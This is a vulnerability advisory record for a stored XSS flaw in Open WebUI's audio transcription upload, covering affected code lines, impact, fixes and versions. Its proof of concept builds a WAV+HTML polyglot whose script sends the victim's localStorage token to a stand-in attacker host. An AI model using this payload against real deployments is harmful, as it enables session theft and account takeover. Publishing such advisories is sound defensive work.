{"id":"PYSEC-2026-2748","summary":"Open WebUI has stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions","details":"## Summary \n\n The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/\u003cuuid\u003e.\u003cext\u003e. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded \u003cscript\u003e runs in the Open WebUI origin.\n\n## Details\n Verified on main @ 8dae237a (v0.9.2): \n - backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No \n allowlist, no cross-check against file.content_type. \n - backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension \n and sets no Content-Disposition. \n - backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload\n passes regardless of the actual body. \n - backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True. \n - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin. \n - backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False. \n \n## PoC \n \n Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was \n Content-Type: text/html; charset=utf-8 with no Content-Disposition.\n ```python\n import struct, httpx \n\n data = b'\\x80' * 44100 \n wav = struct.pack('\u003c4sI4s4sIHHIIHH4sI',\n b'RIFF', 36 + len(data), b'WAVE', \n b'fmt ', 16, 1, 1, 44100, 44100, 1, 8, \n b'data', len(data)) + data \n payload = wav + b'\u003cscript\u003ealert(document.domain);fetch(\"https://attacker.example/x?t=\"+localStorage.token)\u003c/script\u003e'\n \n \n r = httpx.post( \n 'https://VICTIM/api/v1/audio/transcriptions', \n headers={'Authorization': f'Bearer {ATTACKER_JWT}'}, \n files={'file': ('pwn.html', payload, 'audio/wav')}, \n ) \n fn = r.json()['filename'] # '\u003cuuid\u003e.html'\n #Send victim to: https://VICTIM/cache/audio/transcriptions/\u003cfn\u003e \n```\n\n\nhttps://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408\n\n\n\n \n## Impact \n \n Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report. \n\n Affected: \u003c= 0.9.2.\n\n Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force \n Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.\n \n Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.","aliases":["CVE-2026-45315","GHSA-m8f9-9whg-f4xr"],"modified":"2026-07-13T16:32:21.539006519Z","published":"2026-07-13T15:19:06.047378Z","references":[{"type":"WEB","url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45315"},{"type":"PACKAGE","url":"https://github.com/open-webui/open-webui"},{"type":"WEB","url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.3"},{"type":"PACKAGE","url":"https://pypi.org/project/open-webui"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m8f9-9whg-f4xr"}],"affected":[{"package":{"name":"open-webui","ecosystem":"PyPI","purl":"pkg:pypi/open-webui"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.3"}]}],"versions":["0.1.124","0.1.125","0.2.0","0.2.1","0.2.2","0.2.3","0.2.4","0.2.5","0.3.0","0.3.1","0.3.10","0.3.12","0.3.13","0.3.14","0.3.15","0.3.16","0.3.17","0.3.17.dev2","0.3.17.dev3","0.3.17.dev4","0.3.17.dev5","0.3.18","0.3.19","0.3.2","0.3.20","0.3.21","0.3.22","0.3.23","0.3.24","0.3.25","0.3.26","0.3.27","0.3.27.dev1","0.3.27.dev2","0.3.27.dev3","0.3.28","0.3.29","0.3.3","0.3.30","0.3.30.dev1","0.3.30.dev2","0.3.31","0.3.31.dev1","0.3.32","0.3.33","0.3.33.dev1","0.3.34","0.3.35","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.0.dev1","0.4.0.dev2","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.6.dev1","0.4.7","0.4.8","0.5.0","0.5.0.dev1","0.5.0.dev2","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.14","0.5.15","0.5.16","0.5.17","0.5.18","0.5.19","0.5.2","0.5.20","0.5.3","0.5.3.dev1","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.12","0.6.13","0.6.14","0.6.15","0.6.16","0.6.18","0.6.19","0.6.2","0.6.20","0.6.21","0.6.22","0.6.23","0.6.24","0.6.25","0.6.26","0.6.26.dev1","0.6.27","0.6.28","0.6.29","0.6.3","0.6.30","0.6.31","0.6.32","0.6.33","0.6.34","0.6.35","0.6.36","0.6.37","0.6.38","0.6.39","0.6.4","0.6.40","0.6.41","0.6.42","0.6.43","0.6.5","0.6.6","0.6.6.dev1","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.10","0.8.11","0.8.12","0.8.2","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.8.9","0.9.0","0.9.1","0.9.2"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2748.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N"}]}